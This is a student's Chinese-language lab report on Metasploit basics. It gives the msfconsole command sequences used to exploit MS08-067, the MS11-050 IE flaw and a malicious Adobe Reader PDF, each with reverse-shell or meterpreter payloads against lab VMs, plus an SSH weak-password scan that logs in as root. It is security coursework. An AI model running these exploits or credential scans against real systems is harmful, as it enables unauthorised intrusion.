《网络攻防》 MSF基础应用

20145224陈颢文 《网络攻防》MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode：

• exploit:攻击手段，是能使攻击武器（payload）的方法；
• payload:攻击武器，真正具有攻击性的代码；
• encode:编码方式，根据payload将要被放置的环境选择合适的编码方式，使它能够正常的运行，如：消除所有的“0x00”；

实验总结与体会

这次实验做的我好心累，也好欣慰，心累是因为想要成功的做出实验实在是太困难了，有个好靶机是关键；欣慰是感觉到我们正在使用的系统也并没有之前想象中的那么不堪，只要及时打补丁，还是能防住不少“小毛贼”的。

实践过程记录

MS08_067漏洞渗透攻击（主动攻击）

• 使用winXPenSP3为靶机；
• 首先得确保两台机子在同一网段内，如果不在就手动修改；
• 终端中打开msfconsole，输入命令use exploit/windows/smb/ms08_067_netapi，使用MS08_067漏洞模块；
• 使用命令set payload generic/shell_reverse_tcp指定攻击有效载荷；
• 设置具体参数：set LHOST Kali的IP和set RHOST Windows的IP；
• show options查看所有参数是否设置正确，最后下令发起攻击exploit:
  
  
  
  

MS11050安全漏洞（IE浏览器渗透攻击）

• 使用免考xp sp3为靶机；
• 首先得确保两台机子在同一网段内，如果不在就手动修改；
• 终端中打开msfconsole，输入命令use windows/browser/ms11_050_mshtml_cobjectelement，使用MS11050漏洞模块；
• 使用命令set payload windows/meterpreter/reverse_tcp指定攻击有效载荷；
• 设置具体参数：set LHOST Kali的IP、set LPORT 自定义端口号和set URIPATH 自定义域名；
• show options查看所有参数是否设置正确，最后下令发起攻击exploit:
  
  
• 复制local IP，在靶机上使用IE浏览器进行访问：
  
  
  
  成功是成功了，但是结果和我预想的不太一样？！
  
  
  
  
  
  我猜啊，也许是我Kali的版本不一样，所以payload的功能也不同了~

Adobe阅读器渗透攻击（针对客户端）

• 使用winxpAttaker为靶机；
• 首先得确保两台机子在同一网段内，如果不在就手动修改；
• 终端中打开msfconsole，输入命令use exploit/windows/fileformat/adobe_cooltype_sing，使用Adobe阅读器漏洞模块；
• 使用命令set payload windows/meterpreter/reverse_tcp指定攻击有效载荷；
• 设置具体参数：set FILENAME 自定义文件名.pdf、set LHOST Kali的IP和set LPORT 自定义端口号；
• show options查看所有参数是否设置正确，最后输入exploit,生成pdf文件，并可以看到pdf所在文件夹，将pdf复制到靶机里；
  
  
  
  什么？！粘贴不上去！！！那就快去把靶机里的虚拟机增强工具更新一下吧，别告诉我你不会！
• 使用back指令返回上一级菜单，再设置msf的监听：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 主机IP
set LPORT 端口号
show options（检查所有数据是否正确）
exploit

• 最后在靶机中打开刚刚的PDF文件即可（时间略长）；
  
  

成功应用任何一个辅助模块

• 显示所有的辅助模块show auxiliary（甚用，谁试谁知道）；
• 通过上面三个实验不难看出msf的使用还是有套路可循的：进入模块->指定荷载->设置参数->发动攻击；
• 这次我尝试使用的是一个扫描SSH弱口令的一个辅助工具ssh_login，模块路径：auxiliary/scanner/ssh/ssh_login；
• 终端中打开msfconsole，输入命令use auxiliary/scanner/ssh/ssh_login，使用ssh_login模块；
• 使用show options查看所有参数，其中Required一栏中为“yes”的是必填参数，理论上把他们填好了这个模块也就能正常的使用了：
  
  
• show options查看所有参数是否设置正确，最后输入exploit开始扫描：
  
  
  
  成功登陆到一个用户名为“root”、密码为“123456”的SSH账户！